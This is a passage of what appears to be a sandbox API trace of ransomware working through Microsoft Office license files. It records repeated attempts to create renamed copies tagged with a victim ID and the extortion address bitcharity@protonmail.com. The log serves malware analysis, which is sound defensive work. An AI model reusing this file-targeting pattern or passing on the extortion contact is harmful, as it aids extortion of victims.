office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.378] CloseHandle (hObject=0x1234) returned 1 [0251.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91 [0251.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91 [0251.379] lstrlenW (lpString=".doc") returned 4 [0251.380] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.380] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.380] CloseHandle (hObject=0x1234) returned 1 [0251.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87 [0251.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87 [0251.380] lstrlenW (lpString=".doc") returned 4 [0251.381] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.381] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.381] CloseHandle (hObject=0x1234) returned 1 [0251.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88 [0251.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88 [0251.382] lstrlenW (lpString=".doc") returned 4 [0251.382] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.383] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.383] CloseHandle (hObject=0x1234) returned 1 [0251.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91 [0251.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91 [0251.383] lstrlenW (lpString=".doc") returned 4 [0251.384] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.384] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.384] CloseHandle (hObject=0x1234) returned 1 [0251.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82 [0251.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82 [0251.385] lstrlenW (lpString=".doc") returned 4 [0251.385] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.385] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.388] CloseHandle (hObject=0x1234) returned 1 [0251.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83 [0251.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83 [0251.717] lstrlenW (lpString=".doc") returned 4 [0251.718] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.718] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_grace-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.718] CloseHandle (hObject=0x1234) returned 1 [0251.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms") returned 87 [0251.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ul-oob.xrm-ms") returned 87 [0251.719] lstrlenW (lpString=".doc") returned 4 [0251.720] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.720] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.720] CloseHandle (hObject=0x1234) returned 1 [0251.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms") returned 91 [0251.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-pl.xrm-ms") returned 91 [0251.721] lstrlenW (lpString=".doc") returned 4 [0251.721] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.721] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.722] CloseHandle (hObject=0x1234) returned 1 [0251.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms") returned 92 [0251.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms") returned 92 [0251.722] lstrlenW (lpString=".doc") returned 4 [0251.723] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.723] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.723] CloseHandle (hObject=0x1234) returned 1 [0251.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms") returned 95 [0251.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ul-oob.xrm-ms") returned 95 [0251.723] lstrlenW (lpString=".doc") returned 4 [0251.724] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.724] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.724] CloseHandle (hObject=0x1234) returned 1 [0251.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms") returned 91 [0251.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-pl.xrm-ms") returned 91 [0251.724] lstrlenW (lpString=".doc") returned 4 [0251.725] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.725] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.725] CloseHandle (hObject=0x1234) returned 1 [0251.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms") returned 92 [0251.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms") returned 92 [0251.726] lstrlenW (lpString=".doc") returned 4 [0251.726] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.727] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.727] CloseHandle (hObject=0x1234) returned 1 [0251.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms") returned 95 [0251.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ul-oob.xrm-ms") returned 95 [0251.727] lstrlenW (lpString=".doc") returned 4 [0251.728] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.728] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.728] CloseHandle (hObject=0x1234) returned 1 [0251.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms") returned 91 [0251.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms") returned 91 [0251.729] lstrlenW (lpString=".doc") returned 4 [0251.729] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.730] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.730] CloseHandle (hObject=0x1234) returned 1 [0251.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms") returned 92 [0251.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms") returned 92 [0251.730] lstrlenW (lpString=".doc") returned 4 [0251.731] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.731] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.731] CloseHandle (hObject=0x1234) returned 1 [0251.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms") returned 95 [0251.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms") returned 95 [0251.732] lstrlenW (lpString=".doc") returned 4 [0251.733] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.733] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.733] CloseHandle (hObject=0x1234) returned 1 [0251.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms") returned 91 [0251.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms") returned 91 [0251.734] lstrlenW (lpString=".doc") returned 4 [0251.734] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.734] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.735] CloseHandle (hObject=0x1234) returned 1 [0251.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms") returned 92 [0251.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms") returned 92 [0251.735] lstrlenW (lpString=".doc") returned 4 [0251.736] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.736] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.736] CloseHandle (hObject=0x1234) returned 1 [0251.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms") returned 95 [0251.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms") returned 95 [0251.737] lstrlenW (lpString=".doc") returned 4 [0251.738] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.738] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.738] CloseHandle (hObject=0x1234) returned 1 [0251.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms") returned 91 [0251.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms") returned 91 [0251.739] lstrlenW (lpString=".doc") returned 4 [0251.739] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.739] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.740] CloseHandle (hObject=0x1234) returned 1 [0251.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms") returned 92 [0251.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms") returned 92 [0251.740] lstrlenW (lpString=".doc") returned 4 [0251.741] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.741] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.742] CloseHandle (hObject=0x1234) returned 1 [0251.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms") returned 95 [0251.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms") returned 95 [0251.742] lstrlenW (lpString=".doc") returned 4 [0251.743] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.743] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial1-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.744] CloseHandle (hObject=0x1234) returned 1 [0251.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-pl.xrm-ms") returned 87 [0251.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial1-pl.xrm-ms") returned 87 